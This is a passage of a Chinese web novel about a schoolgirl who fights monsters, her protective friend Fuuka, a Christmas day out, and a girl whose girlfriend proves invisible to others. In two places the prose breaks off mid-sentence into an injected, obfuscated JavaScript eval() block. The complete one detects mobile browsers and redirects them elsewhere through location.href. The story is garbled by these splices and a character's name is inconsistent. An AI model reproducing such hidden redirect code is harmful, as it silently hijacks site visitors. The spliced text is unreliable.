梨沙目瞪口呆地看着眼前的这个欺负了自己两年的混混,她不敢相信自己的眼睛,真不知道该做什么,晴子又开口了。 “我发现你不知道道歉应该是什么态度呢。”她又一把抓住了中川葵的头发,“你似乎希望我帮你一把。” “不不不。”中川葵一下把头磕了下去,“对不起!我有错!我道歉!求你了,放过我。” 晴子看向沙梨,“所以,你的回答是什么呢?” 沙梨喉咙一动,事情发生地太突然,以至于她真的有些手足无措。晴子看着她这个样子,只是温柔一笑,然后拍了拍她的肩膀。梨沙虽然下意识地有些害怕地颤抖了一下,但是很快就感觉到心里十分舒服,也平和了很多。 晴子转头道:“我突然得了一种病,如果我看见了你们三个人,我就会控制不住自己而揍你们一顿,不知道这个病哪一天能好呢。” 她一把拉住沙梨,将其带了出去。 “那个……太感谢了,我是一年级4班的后藤梨沙。” “一年级2班,香月晴子。”晴子停下了脚步,“虽然我这样做了,但是你最好不要这样做,有事找家长和老师,如果他们都不管就去报警,如果警察都不管,那就来找我。” “好,我知道了。” “去吧,要好好活下去啊。” 梨沙愣了一下,随后流下了眼泪,夕阳的光芒洒在她的脸上还有点暖意,她抬起头露出了目前自己能做到的最好看的笑容,“嗯!” 目送梨沙离开,晴子甩了甩手,伴着渐渐散去的黑烟又看了一眼天台的方向。之前出刀说到底主要还是做做样子,但是现在她的心里真的起了一丝杀意。 轻轻摇摇头,她也走向了下楼的道路,握着拳的手仍然有些发痛,但她并不在乎,反而感到有些满足。 “太危险了吧,香月同学。”风夏靠在墙上,双手环抱在胸前,右手还握着手机,“虽然本质是一件好事,但是你为什么要做到这个地步呢?” 晴子撇了她一眼,“对处在痛苦中的人伸出援手需要理由吗?” 说实话,风夏是不理解的,从小就经受了各种教育的她绝不会像晴子一样做事。对她来说,如果希望掌握一个人的情报,只需要发动一下家里的人脉就好了。她绝不会把自己也置于其中,而是会选择从对方的各方面入手将其悄无声息地干掉。 但是不知道为什么,这样做事不合理的晴子却令她那么感兴趣。明明看起来那么阴暗,明明实行的也不是正常的手段,却令她感觉在此时此刻最具魅力的是晴子,而不是去调查其父母情报的自己。 看着晴子离去,她并没有跟上去,而是去找了那个被欺负的女生。 第二天,有两件事引起了晴子的注意。第一件事是中川葵没有再出现在教室里,据说似乎是转学了。第二件事是自己后座的小原同学,不知道为什么一身金光,不再是黑金相间的样子了。话说这金光也太耀眼了,简直是从未见过的程度。 风夏开心极了,从昨天到今天,她从未觉得人类如此闪耀,仅仅是看着香月同学的背影,就让她感觉异常满足。 上课铃响了,正当她欣赏着晴子的时候,突然发现这家伙的状态不太对劲。这才早上的第一节课,这家伙却已经昏昏欲睡了。 “香月同学,上课了。” 她一边小声提醒,一边用手戳戳对方,可是晴子却完全没有一点清醒的迹象。昨天给晴子的感觉与之前不同,之前虽然可以感受到到底是怎么回事,但是并没有像昨天那样感同身受,更像是一个旁观者。 在昨天感受到那种切实的情绪之后,她整个人就像是被掏空了一样,回到家后眼睛都快睁不开了,直到今天都没有缓过来。尽管已经经历过,但不管经历过几次都让自己感觉不仅非常困,身上也没什么力气。如果可以睡个懒觉还好些,一大早就要去上课,简直让她的状态雪上加霜。 老师发现了台下的情况,“香月同学,香月同学!” 然而晴子完全没有回应,如果是在睡觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回家的地铁上,晴子突然下车,把风夏弄得一头雾水。看着晴子的样子似乎非常着急,但是她也不怎么担心,毕竟想去晴子家实在是挺容易的。 原本是打算就那样回家的,但是总觉得晴子最近气色有点差,也不知道她天天在做什么,以至于连老师都有些看不下去了。风夏想了想,立即在之前的站就下了车,然后去最近的超市走了一趟。 “喂,妈妈,我去给晴子做个饭吧,我怕她一个人不好好吃饭,嗯,没问题。” 挂断电话,她直接就向着晴子的家进发了,她很感谢母亲是一个开明的人,对她想做的事也很支持。母亲放下手机后,也露出了欣慰的笑容。从小到大,自己的女儿完全没有交到过真心的朋友,每次问她,她就说觉得没意思或者看不上,没想到到了高中之后有了第一个真正的朋友。 敲敲门之后,晴子果然在家,当看完她的冰箱之后,风夏在有些气愤的同时更多的是无奈。明明是应该好好珍惜的身体,却这样一天天地被肆意消耗着。经过这些时间和晴子的交往,她脑海里出现的第一个答案就是,晴子大概还在为某个人或者某些人而努力做些什么,因为这个人几乎不在乎自己,能让她着急去解决的往往是被人的事。 看着晴子吃完,她觉得应该为其留出足够的休息时间,便很快离开了。不过刚下楼之后,手机就传来了消息。 “风夏,我记得香月同学的哥哥是不是在养护所啊。” 在这条消息下面还附带了一张养护所的照片。 “是啊,怎么了?” “这个养护所出事了,警察去了好多,听说患者都被转移到医院了。那边现在围了好多警察,不知道在做什么,但是有警察被抬出来了,不知道情况怎么样。” “谢谢,我立马就告诉她。不过……你真得不想自己去和她说吗?她又不是那种难接触的人。” 在电话的另一头,梨沙有些自卑地低下了头。她的成绩并不是很好,长得也没有那么可爱,性格还比较软弱。听说香月同学虽然每天都上课睡觉,成绩还能排进班级前五,那一天见到的时候也觉得她很勇敢帅气,后来私下偷偷看的时候也觉得很可爱。 梨沙看向镜子里的自己,自嘲地苦笑,“像我这种人,怎么有资格站在香月同学的身边呢。” 车上,晴子枕在风夏的腿上睡着,后者则是轻轻抚摸着她的头发。不知道为什么,过去的记忆涌上心头,在风夏的眼里,她一直以来都没变过。这次听说黑木的事之后,二话没说就找到了这里。不过硬要说有什么不同,那就是她感觉到黑木那里有什么不对劲的时候,并没有因此而变得担忧,反而是愉快地笑了出来。 正在开车的黑木感觉很奇妙,那么多年了,自己始终想不开的烦恼已经消失,他甚至产生了不知道自己为什么要躲到这里来的错觉。 “晴子还好吗?” “嗯?”风夏听此抬起了头,“怎么突然这么说?” “不知道是不是我的错觉,我总觉得晴子有点变了。” “怎么讲?” 黑木想了一会儿,“怎么说呢,总觉得她之前要比现在正经一些?也不能这么说,但是是那种氛围的变化,就是她身边的气场给人的感觉不一样了。是发生了什么事吗?” 风夏叹了口气,将最近发生的事讲给了黑木。 “可恶……”黑木感到十分自责,虽然不知道他在场的话会不会有所变化,也不知道自己能给这个女孩带来什么正向的东西,但是现在的他十分后悔没有一直跟在晴子身边。 车内一时间陷入了沉寂,黑木的情绪在胸口始终挥之不去,越是回想刚才的对话,越觉得有些悲伤溢于言表。风夏重新看向熟睡的晴子,每次战斗完,她的状态都会变得很差,之前也会相当疲惫,但是这次比之前都要严重。 之前战斗之后,她一般都会在回去的路上面色苍白地看着车窗外的景色,在到家或者返校之后倒头就睡一段时间,可是这次却是连那样疲倦地望向窗外的余力都没有了,几乎是还没上车,眼睛就快闭上了。 将手放在晴子的胳膊上,风夏感觉她的皮肤真的有点凉,从手到小臂,摸上去都是散发着冷意的状态。 将车开到黑木在琦玉的旧居后,两人喊晴子起来了,但是晴子完全没有反应,风夏见状,稍微用力摇了摇她,然而也没有任何作用。黑木见状,在确认了没有问题之后,让晴子趴在他背上接着睡,他则是一直背着晴子踏上回东京的路。 直到回到警视厅,在这期间不管是把她背起来还是放下来,是走动的颠簸还是环境的嘈杂,晴子都没有睁开眼睛。大家还以为她出了什么事呢,结果发现她只是一直在沉睡。 原本是说把她送回家的,但是大家总觉得不敢相信,于是将她送到了江藤望那。江藤望一听说此事马上正色起来,随即做了一些检查。为了避免是昏迷,最终甚至比较激烈地摇晃和呼唤了晴子,但是都没有任何作用。 “真是奇怪,可是确实不是昏迷啊。” 江藤望挠了挠头,满脸不解,不是自夸,本身自己的水平是公认的高,当医生也已经很多年了,怎么还就弄不清楚这事的原因呢? 一个未知的地方,晴子一步步往前走,周围的雾很浓,看不清什么东西,她一步一步地向里走,希望可以弄清楚到底是什么情况。 昏暗、浓雾、阴冷、崎岖,哪怕在这种情况,她却总有一种感觉,那就是自己知道要去哪。事实证明她是对的,当这条路走到尽头,出现在她面前的是一个身影。 “你是?”她轻声问出这句话,但是那个身影并没有回答她,甚至没有转过身来,只是那样站在不远处。 她就那样看着眼前的那个身影,哪怕双方都没有任何动作,但是却能感受到某些特别的东西, “原来如此……” 并没有花多少时间,她就已经明白了站在自己面前的是什么。她感觉到自己和那个身影的距离突然变得有点远了,她试着向前踏出一步,但是却后退得越来越快,随后她就像是被向后丢出来了一样,缓缓睁开了眼睛。 窗外阳光明媚,正是正午之前,她发现自己已经在家里的床上了。站起来,向窗外看去,街道并没有多少人,或许现在正是大家都在工作的时候。将窗户打开,清新的空气从窗外飘了进来。看样子昨夜刚下过雨,虽然地上几乎都干了,但是空气中弥漫的气味并没有消失,在某些角落也还留着些许水迹。 做了个深呼吸,那是一种宁静的感觉。她将目光投向更远的地方,她已经很久没有这样认真眺望过了。正在此时,天上有两只飞鸟并排飞过,她的视线跟着它们的身影移动,直到被阳光不小心刺到了眼睛。但她却笑了出来,满足感充斥着她的全身,因为生活是如此的美好。 看见屋里风夏的包已经不在了,那是理所当然的,毕竟风夏肯定是去上课了。从床上站起来,她感觉全身上下充满了力量。一般情况下,她肯定就会在家待上一天了,但是今天她决定现在就去学校。因为没有便当,而且感觉真的很饿,她就稍微绕了点路买了一份,顺便吃了两份。 下课铃响起,风夏将书合了起来,教室里也开始变得嘈杂起来。 “香月同学,你没事了吗?” 老师的声音传来,别说是风夏一个激灵就看了过去,就连教室里的大家都猛地转过头看向门口,教室里瞬间鸦雀无声。 “嗯!我感觉很好啊。” 教室里突然爆发了一阵强烈的骚动,晴子一脸懵,只是看着风夏向自己飞冲过来,随后一把抱了上来。 “啊!” 由于过于激动没控制住自己,两人都倒在了地上。风夏缓缓松了力量,将双手撑在晴子的两侧,晴子看着风夏的脸,虽然感觉挺突然的,但是总觉得一股很幸福的感觉涌上心头,令她微微脸红。 正要开口说些什么,两滴水滴在了她的脸上。她抬起手,轻轻触摸风夏的脸,把那些咸咸的水滴轻轻抹去。风夏也不管是在走廊上,也不管被多少人围观,慢慢闭上眼睛,一只手将晴子抬起的手轻轻盖住,感受着晴子的手传来的温度,然后终于露出笑容。 “太好了,十八天了,你终于醒了。” 9. 感情 之前的十八天,风夏每天都过得提心吊胆。原本江藤望提出让晴子住院,但是风夏坚持要将她留在身边,所以江藤望每天都来家里给她打吊瓶。尽管说了不需要任何谢礼,这都是自己乐意和应该做的,但是风夏的父母还是支付了一笔不菲的金钱作为感谢。 在晴子沉睡期间虽然只出现了一个怪人,但是却差点把警察的自信都要打完了。八塚玄带队到达目的地的时候,一个浑身带电的怪人正在大闹。由于已经配了新的装备,警察们浑身是胆,将大把的子弹向着怪人疯狂倾泻。 然而那些新的突击步枪仍然破不了怪人的防,直到四把反器材步枪同时射击,向着怪人开出了第72枪,怪人才缓缓倒地。八塚玄简直打得想骂人,往常进行战斗的时候,还能用“自己这边装备不好”作为自我安慰的借口,可是这次要怎么说呢?现实就这样摆在自己面前,如果不是之前反器材步枪配进了队伍,这次估计没有任何人拿怪人有办法,天知道要死多少人。 这次的战果可以说是令人难以开心起来,虽然警方第一次凭借自己将怪人消灭,但是就从经历了数场战斗的众人的判断来说,大家一致认为这个怪人和之前的相比感觉弱了不少。一想到晴子凭着自己就可以将这种程度的对手干掉,警方对晴子在形式上和心里的重视程度又都提高了一大层。 结果令人没想到的是,怪人们就像是消失了一般,一直都没有再出现。虽然警视厅并没有松懈,但是确实令大家都过上了难得的好日子。原本在之前的事件里,风夏已经决定要在每次晴子战斗的时候都跟在她身边,但是经过了她长睡不醒的事之后,风夏的心里突然感觉好害怕,所以从她醒来的那一天开始,风夏每天都和她待在一起。不说是寸步不离,但也差不了多少。 晴子原本还有些担心,但是相处下来之后,她发现自己真的很喜欢和风夏待在一起。在风夏的激烈阻止下,这段时间她没有再去帮助路人,又没有战斗,导致她精神状态越来越好。 一转眼,清晨到来,两人从床上醒来。风夏趴在窗户上向外看去,“哇,快来看!” “什么?” 晴子揉揉眼睛将手伸过去,两人的指尖轻触,风夏又向前一探手,将晴子也拉到了窗边。 “哇,今年也到了这个时候了呢!” “是啊,而且今天是圣诞节哦。” “真的吗?我都没有注意诶。” 风夏抓着晴子的手转头说,“反正你也没有男朋友,今天就和我去过吧,嘿嘿。” 晴子面露嫌弃的神色道:“啊?我们又不是情侣,居然还一起出去过圣诞节,你已经这么空虚了吗?” 两人十指相扣,看着对方都莞尔一笑。 “有什么关系嘛,反正今天我要出去玩,你得陪我。” “好好好,你说什么就是什么。” 另一边,某个公寓楼下,也有两个女生已经走到了外面。 “千鹤,都准备好了吗?” “嗯!”被叫做千鹤的女生背着包小跑着过来,冷气将她的脸蛋冻得有点红。看起来是这样,但实际上并不全是如此。 两人牵上手,千鹤看向结衣,两人的眼中都满是柔情。这是很特殊的一天,去年的圣诞节,结衣向千鹤表白了,原本就相互喜欢的两人终于表明了彼此的心意。 世界已是一身银装,两人撘住了彼此的手指,即便是已经谈恋爱一年了,那份细腻的感情还是这般含苞如初恋。冷得稍有刺鼻的空气中,一丝丝的白烟诉说着二人心中的有些羞涩的热情,明明是会让皮肤感到冰凉的天气,两人却都觉得全身上下都是暖意。 今天是结衣来接千鹤的,想着早点过来给她一个惊喜。却没想到对方已经站在了公寓的门口,这让结衣反倒有些不知所措了。 “呐,现在去做些什么呢?” “抱歉,我还真没想过。”结衣突然愣在了原地,随之而来的是巨大的羞耻感,“我这两天满脑子都是你,都装不下其他的东西,我怎么把这么重要的事忘了!” 千鹤一叉腰,“哦——所以你平时脑子里没我,这两天才有我的。” “哪有哪有,我平时脑子里也都是你!真的真的!” “哈哈哈,我知道呀,我逗你的。” 结衣笑着揉揉千鹤的头发,“你这个坏家伙,嘿嘿,今天就罚你亲我一百次!” 千鹤的脸更红了,并没有再说什么,只是和结衣一起向前走去…… 门口,风夏和晴子都是一个深呼吸,然后一起后悔。 风夏一边咳嗽一边道:“哈哈哈哈,好冷啊,嘶——” 看着被冷空气呛到的风夏,晴子也是哈哈大笑,不过她自己也没好到哪去,双手抵着袖口在胸前按搓了好几下,虽然不能把那股冷意从气管里搓出来,但是从心里层面上来讲确实是舒服了点。 有些人家选择了摆点圣诞树的装饰,但也有完全不装饰的,比如风夏家。对风夏一家来说,圣诞节就是一个出去玩的好借口,别说两个女孩出来玩了,就连风夏的父母也早早出门去享受二人世界了。平时工作十分忙碌,每当有节假日的时候,他们几乎都是一种全力以赴享受生活的状态。 风夏的目标很明确,本来她就喜欢热闹,和一天到晚就想窝在家里的晴子不同,她早就打听到了今天要有一整条街举办活动。虽然她对晴子待在家里休息也没什么意见啦,但是总觉得想带着她出去走走。 原本晴子是坚定的不想出门派,以前出门都是为了寻找需要帮助的人,现在暂时放下了这件事之后,她是真的不想动。但是风夏带着她出去的时候,她却是很乐意接受的,对她来说,真的不想做的事一定会坚定拒绝,但是在犹豫的时候,一个能推她一把的人会让她走上自己可能不会选择的道路。 “我们到了!”风夏看着这条街的入口,已经很有氛围了,看样子活动的主办者还是很讲究的,不但已经将一切都布置完成,还贴心地在街道的入口设置了活动介绍册的发放点。 晴子拿起一份,上面写着所有店铺的名称和位置。这条街本来就是店铺极其丰富的一条街,而今天则是每家店都增加了一些新东西或许是新的限定商品,或许是限定娱乐项目,总之看得她很是心动。 “怎么样?感兴趣吗?” “当然!”晴子迅速连连点头,不过她就是不知道到底要按照怎样的顺序逛,毕竟风夏在来之前也没有拿着计划书,至少没有被她看到过,“今天就一切摆脱风夏老师了,像我这种一天到晚宅在家的人,实在不知道这么现充的活动要怎么计划。” “说到底,圣诞节还是晚上比较有氛围,白天到处逛逛也不错,对了,要不要先去看个电影呢?” “现在?总觉得现在看电影有点奇怪。” “没关系的吧,反正想到什么就做什么呗。” “那就靠你带路喽。” 尽管与晴子一直以来的习惯不一样,但是她还是表示相当乐意。 到了电影院,这里确实没有什么人。风夏很喜欢这种包场的感觉,恰好晴子相比于拥挤的人群也喜欢人少的地方,这一下令两个人都感到满足。 风夏看着饮料柜,“你喝啥呀?” 晴子扫了一眼,“我都行。” “选一个。” “你喝啥呀?” “我喝这个。” “那我也喝这个。” 风夏拿到饮料,马上就打开瓶盖来了两大口,随后想了想又买了一瓶。晴子打开盖子,闭着眼睛闻了闻饮料的气味,随后发出一小声满足的叹息,尝了一小口后感受着那股果香充满自己整个口腔。 风夏闻着空气中飘着的香甜的味道,“爆米花呢?要吃吗?” “我都行呀。” “拿来一份吧,咱们分着吃,还挺香的感觉。” 到了买票的时候,因为本来就是随缘过来的,所以两人也没有对电影提出异议,碰见什么就看什么。 风夏一看基本上位置都空着,于是指着其中两行说:“刚好,我们就要这两排的位置吧,你觉得呢?” “我都行,你决定就好,你的眼光肯定没错的。” 风夏无奈地看了一眼晴子,“我还就非得让你决定一次,选哪两个座就交给你了。” “那就……这两个吧……”晴子抬眼用余光瞄了一眼风夏的反应。 “嗯!好呀。” 风夏满意地表示了赞同后,晴子悄悄放下了一口气。怎么说呢,虽然也知道风夏并不会在意,但是自己实在是没怎么出来玩过,总觉得自己一个啥都不太懂的外行来做出选择,终究是比不上有经验的人做出的决定更妥当。 两人有说有笑地进去后,店员笑着目送二人,说实话,自己的朋友也有那样的,以前都是自己在决定各种事情,但是此时他和自己一样都当着社畜,也是怪无奈的,只能在这种时候看着来玩的人们。 “那个,两张票。” 店员抬头看了结衣一眼,“选座就行。” “啊,可惜了,这两个座被人选了啊。” 千鹤便指着后面一排说:“这两个不是也挺好的吗?虽然在后面一排,但是差别并没有那么大。” “好吧,都听你的。” 店员看看结衣又看看千鹤,不过手底下并没有停,将票递给了结衣。 两人拿着票离开后,结衣小声道:“你觉不觉得店员刚才看我们的眼神有点奇怪?” “也能理解呢,毕竟大多数情侣都是男女的组合,我们比较特殊呢。” “可是现在的时代,大家不应该已经能够接受我们这种关系了吗?我觉得我们这样的情侣也不少见吧,为什么要露出那样的表情呢?” 千鹤安慰道:“管别人干嘛,我们在一起不是本就不在乎别人怎么想吗?只要我们自己感到幸福不就好了?” 结衣也只能点点头,承认她说得有道理,但还是有些奇怪地道:“不过我们之前那两个女孩就没什么问题,到我们这里就不一样了,店员怎么知道我们两个是情侣啊?” 千鹤一下笑了出来,“你个小笨蛋,那两个女孩可没有一边牵着手一边含情脉脉地看着对方啊。” 结衣这才反应过来,看着两个人仍然牵着的手会心一笑,幸福感源源不断地冒了出来。不管外人怎么看,两人都觉得这是无比正确的爱情。 几人都进入放映厅,这是一部带有科幻色彩的电影,风夏对这一类的属于是怎样都行的状态,晴子则是比较喜欢,而且是带有一定战斗元素的电影,就更令她感兴趣了。 不得不说这部电影还是很吸引人的,当世界观展开的一刻,本是处于看着玩的状态的风夏立即就被抓住了眼球,或许是平时就在和怪人战斗的原因,现在看到这些与怪物战斗的科幻电影,晴子的心中燃起的斗志甚至高于了对剧情的期待和好奇。 前面的两人看得津津有味,后面的两人则是有点起鸡皮疙瘩。 结衣凑近些问道:“你会害怕这种吗?” “不会哦。”千鹤摇摇头,眼中还带有一丝兴奋,“我其实也挺喜欢这种的,虽然会看起来有点恶心,但是还是在可以接受的范围。” 原本想着千鹤会不会扑向自己结衣,感觉自己失去了一个重要的机会,这次本来看着那个电影的封面还暗自庆幸了一下,结果并没有如愿以偿地享受到千鹤的小鸟依人,看来下次要看一点稍微恐怖的片子才行。 随着情节的推进,反而是结衣没忍住尖叫了一下,这令晴子和风夏笑着回头看了她一眼。放映厅中的黑暗掩盖了她有些发红的脸,千鹤也捂嘴偷偷笑着。 晴子好奇带着不解地看了看她,又看了看千鹤,随后她稍微露出恍然大悟的神情,想到了一种可能性,但是她还是转过身去了,毕竟这是别人自己的事,也轮不上自己掺乎。 “不会是真的吧,要是那样的话我还是第一次亲眼见到这种呢。” 晴子小声嘀咕了一句,风夏转过头来,“嗯?你说什么了吗?” “没。” 身后的人令晴子老想往后看,但是又怕冒犯到对方,所以也只能克制着自己。过了一段时间,电影的情节终于把她的思绪拉到了原来的地方。 看完了电影,几人都露出满足的神情,没想到这个时间会放这么好的电影,真不知道电影院的人是不是在经营策略上有问题。 风夏满足地伸了伸腰,“现在那些小吃摊应该也开放了吧,要去吃点东西吗?” “好呀,啊,嗯。” “怎么了?” “没什么,就是突然想到现在吃了,到时候午饭就不知道要怎么吃了,不过后来又想到都出来玩了,就不必拘泥于那种一板一眼的方式了。” 风夏今天第一次感到对晴子十分满意,说实话,晴子往往从不表现出自己的主见,但是现在还是很好地说出了相对洒脱的自己的想法。虽然这在旁人看来可能没有什么,但是对风夏来说这已经是足以让自己感到欣喜的重大突破了。 两人逛着,看到周边的建筑上有原来没见过的装置。 晴子仔细观察了一下道:“这不会就是那个吧?” “还真有可能,之前还确实没注意到。” 黑木之前给她们打过电话了,毕竟科搜研之前研究了关于能量的事情。虽然现在的覆盖率还是不高,但是已经有不少检测装置被投入使用了。 晴子有些担忧地看着那个装置,“这看着也不大啊,听说每五百米一个,真的可以吗?会不会探测不到啊?” “那就不知道了,毕竟并没有正式取得过成效,只是先铺开了一定区域,到底怎么样,只有等待不知道什么时候回来的下一场战斗才知道。” “战斗啊……” 聊到战斗,晴子的思绪飘到了前一段时间的科搜研。 “咦,江藤先生也在啊。” 听见晴子的声音,江藤望从自己的工作状态中退出来,向她露出一个极其喜悦的笑容,“那是当然了,这种事情怎么可能没有我呢?” “我还以为你会待在医院,由我们去找你呢。” “怎么会呢。”他一边搓着手,一边嘿嘿地笑着站起来,“为了医学大业的进步,我怎么可能在医院坐得住呢?但凡有需求,不管要我去哪都再所不惜。” 看着步步逼近的江藤望,风夏一把把晴子护在怀里,然后露出了如同炸毛的猫一般的表情,就差狠狠地挥着爪子喵出来了。 原本风夏是没有资格参与这种事情的,但是黑木以需要稳定晴子的情绪为由,向上层争取令风夏以朋友和家人的身份陪在这里。不知道多久没有好好合作过的八塚玄和黑木很久以来又在一次站在了统一战线。当上级看到八塚玄也与黑木联名申请,虽然免不了令风夏签下种种协议,但还是让她有了站在这里的资格。 “好好,别这么凶嘛。”江藤望无奈地后腿了两步。 “哼,自己好奇就好奇嘛,还说得那么高尚。” “嘿嘿……” 这时,黑木和桂田也到了,跟在他们身后的还有八塚玄。原本现在八塚玄已经不再负责关于晴子的事务了,但他坚持要过来看看情况,上头也没有什么为难他的必要。 大家坐定,黑木率先道:“各位都知道,今天聚集在此处就是为了探讨一下关于晴子的新武器的事。还是老规矩,情报不得外传。为此,我们把江藤医生从医院请来了这里,也入手了一套可能用到的医疗设备,为此可以说是顶住了巨大的压力。那我们就不在废话,直接开始吧。” 黑木说完这些话后,仰了仰头示意晴子。晴子意会,也不磨叽,直接进入了为了检测和研究而专门设置的房间,和之前在医院里的那个差不多,并且更完备。 当黑烟冒出的那一刻,桂田人都傻了,“高桥,记录!” “是!” 黑木连忙询问,“怎么回事?有什么不一样的地方吗?” “数值飙升对吧。”江藤望插了一句。 桂田点点头,“太吓人了,这个数值比之前检测的高了相当多,虽然还不到一倍的程度,但也可以说是多出了原来的三分之二不止。” “竟然到这种程度?” 当黑木震惊之际,晴子还并没有拔剑。她轻轻抚摸着那个剑鞘,要说是什么感觉,只能说是亲切。没错,这把剑给她的最直接的感觉不是有多强之类的,只是单纯的亲切感,就如同是家养的宠物一般,并不像一个死物。 “晴子,拔剑吧。” 听见桂田的指示,晴子左手大拇指稍微用力,将剑身推出了一点,而就是这一点,又令仪器上的数字涨了一大截。即便是在玻璃外,几人还是感受到一股极其强大的压迫力。当剑完全出鞘,晴子只是下意识地甩了一下,房间的玻璃上就突然出现了一大道裂痕,把几个人都吓了一跳。 “不对啊。”黑木汗都下来了,“之前也没感觉到这么吓人啊,怎么这次变得这么恐怖了呢?” 他真是不想接受这样的现实,明明现在合作得好好的,万一让上面的人感觉到威胁或者是认定为自己之前在隐瞒事实,那将会带来无尽的麻烦。最近在铺设的探测装置,本来应该一百米一个的,结果居然因为嫌他们报出的开销太高,硬是让他们让步成了五百米一个。黑木的拳头都硬了,真不知道上面的人在乎的是什么。 与忧心忡忡的众人不同,江藤望叹服地看着晴子的剑和跳动的数据,明明只是一个手无缚鸡之力的医生,却在那股压迫感中笑容满面,兴奋异常。 另一个不太一样的是风夏,她看这种人的表情感觉有点莫名其妙,她完全不知道大家到底感觉到了什么,因为她可以说是一丝感觉都没有,只是看着晴子拔出了剑而已。 当晴子拔出剑之后,从她身上检测到的能量数值已经是曾经的一倍多了。 风夏终究还是忍不住问道:“那个,现在到底是什么情况?” 江藤望在转椅上转过身,“这可是防弹级别的玻璃呦,而且一般这种玻璃受到这种程度的攻击的时候,至少在被攻击的地方周围一片都得碎裂开,或者就是整片玻璃都保不住,然而她的刀却没有让那道裂痕周围裂开太多,这得多离谱的攻击才能做到啊。” 风夏看着里面那个等待指示的身影,对方也看着自己,两个人隔着玻璃,却像是镜面上的两方,她不禁握住了拳。明明自己在乎的朋友就与自己一面玻璃相隔,可是自己却完全没有办法帮她分担哪怕一点点东西。她不知道这股力量最终会被得出什么结论,也不知道这会不会对晴子本身造成伤害,她只感受到一股无力感蔓延全身。 等桂田又做了一些记录之后,就轮到江藤望进行体检和研究了。 门被打开,他起身就要往里走,但是身后的高桥突然出声,“江藤医生,有没有我可以帮上忙的!” 他笑着转头看了看这个年轻的研究员,明明身体都已经紧张地绷住了,“没事的,交给我吧。” 当江藤望走进去后,门重新关上,高桥看见里面的晴子也在看着自己,他挤出一个笑脸,然后稍稍低头,也不知道是为了给晴子传达什么,反倒像是下属离开上司办公室一般的样子,让他自己的脑袋都开始混乱了起来。 检查与研究并没有持续很久,晴子的身体与之前相比并没有发生什么变化,那么问题就肯定是出在剑上,然而实在是没办法检测出材质。尽管有一些猜想,但是并没有办法验证,而且他也担心一些检测会伤到晴子。 看着江藤望兴奋地进去,满目愁容地出来,所有人都觉得压力更大了。实际上如果有一个完整的怪人可以用于解剖,就能弄明白很多事情,可是现实并没有这么理想的条件,但凡死去的怪人都剩不下任何肉身。 当几人开始商量后,他走到了风夏的身边将她带到一边,“如果可以的话,带着她多玩一玩,我虽然不知道到底是怎么回事,但是我只能说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266089|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人的情绪与感情正是能够杀人的利刃,请务必让她变得阳光一些。” “那万一有战斗……” “战斗再说战斗的事,不到那个时候就让她尽量远离有可能伤害到她的事,这个任务只有你能完成。” 解除变身从那个房间里出来,晴子并没有直接去找风夏,而是来到了高桥的面前,然后用力拍了一下他的左臂,这让他一哆嗦。 “辛苦了高桥先生,还有谢谢你,虽然我听不见,但是你应该是很努力的吧。不要再对过去耿耿于怀了,未来还免不了需要你帮忙呢。” 晴子向他眨了一下眼,他感觉身上一股巨大的暖意蔓延开来,仿佛钻进了一个柔软的毛茸茸的猫猫的怀里一般,“香月小姐才是,你也要好好保重自己,如果有任何需要我的地方,我一定会竭尽全力!” “咦,你特意去问了我的姓啊。” “啊,我……” “真是的,那么生分干什么,叫晴子不就好了嘛。” 高桥呆呆地看着这个比自己低一点的女孩的笑脸,甚至忘记了给出强有力的回复,只剩下了一声轻轻的“是”。 “晴子?又发呆呢?” “啊。”晴子从思绪中回到现实,风夏正在身边好奇地看着自己,“确实是想到了之前的一些事呢。” “真是的。”风夏一把拉住了她的手,“有我这个大美女在身边,你居然还要想别的东西,真是不懂得珍惜,我已经伤心地要趴你身上哭了哦。” “哈哈哈,我的肩膀随时欢迎美女的光临呦。” “切,就凭你,还是你靠在我身上比较合适。” 两个女孩有说有笑地再次开始逛街,也玩了不少娱乐项目。今天的情侣实在是太多了,在吃午饭的时候,放眼望去,餐厅里不知道有多少对。 等到晚上,一棵大的圣诞树亮起装饰灯的时候,在场的人们都发出欢呼。 结衣看着这棵圣诞树,突然有些沉思,千鹤问道:“怎么了?” “没什么,只是有一种莫名其妙的感觉。算了,咱们玩咱们的,不管那些有的没的。” “好。” 今天中午,千鹤说自己不饿,就只是结衣自己要了一点路边摊的东西,现在到了晚饭时间,两人便走到一家餐厅。 “欢迎光临。” 落座后,结衣把椅子往前拉了一下,随后拿起了菜单。 “嗯……总觉得不知道点什么好呢,要不然就来一份今日限定的情侣套餐吧。” 服务员有些奇怪地看了看她,但还是表示记住了。 “请问有什么问题吗?” “不,没有。” 当服务员离开后,结衣终于有点忍不住了,“感觉今天已经好多次了,总觉得大家看我们的眼神都怪怪的,难道大家就真的接受不了这样的吗?我觉得我们也没有做错什么吧?” 千鹤连忙安慰道:“没事的,至少我们在一起,这就够了不是吗?大家再怎么样我们也没法去管,不论怎么想都是他们的自由,就算大家都不支持,我们还能够在一起的话,不是恰巧证明了我们的感情是真的吗?” 听到这,结衣也叹了口气,“真是,幸好有你呢。” 没过多久,服务员将菜品摆上了桌,“这一份就先给您放在这里了。” “嗯?为什么不给她呢?” “您指的是?” “这不是在我对面坐着呢吗?”结衣一下就不乐意了,“你们没见过我们这样的情侣,我不说什么,可是你总不能用这样的方式来侮辱我们吧!你不觉得这样真的太过分了吗?” “对不起,对不起,真的非常抱歉,请您稍微冷静一些。我并不是有意的,但是我真的……”服务员看向结衣对面的位置,“在这个位置看不见另一个人。” “你说……什么……她明明就坐在……” 结衣感觉自己的心脏都要停跳了,她用力挤了挤眼睛,在有些晃动的视野里,渐渐清晰的映象中,自己的对面空空如也。 “客人?客人?” 她渐渐听不见周围的声音。 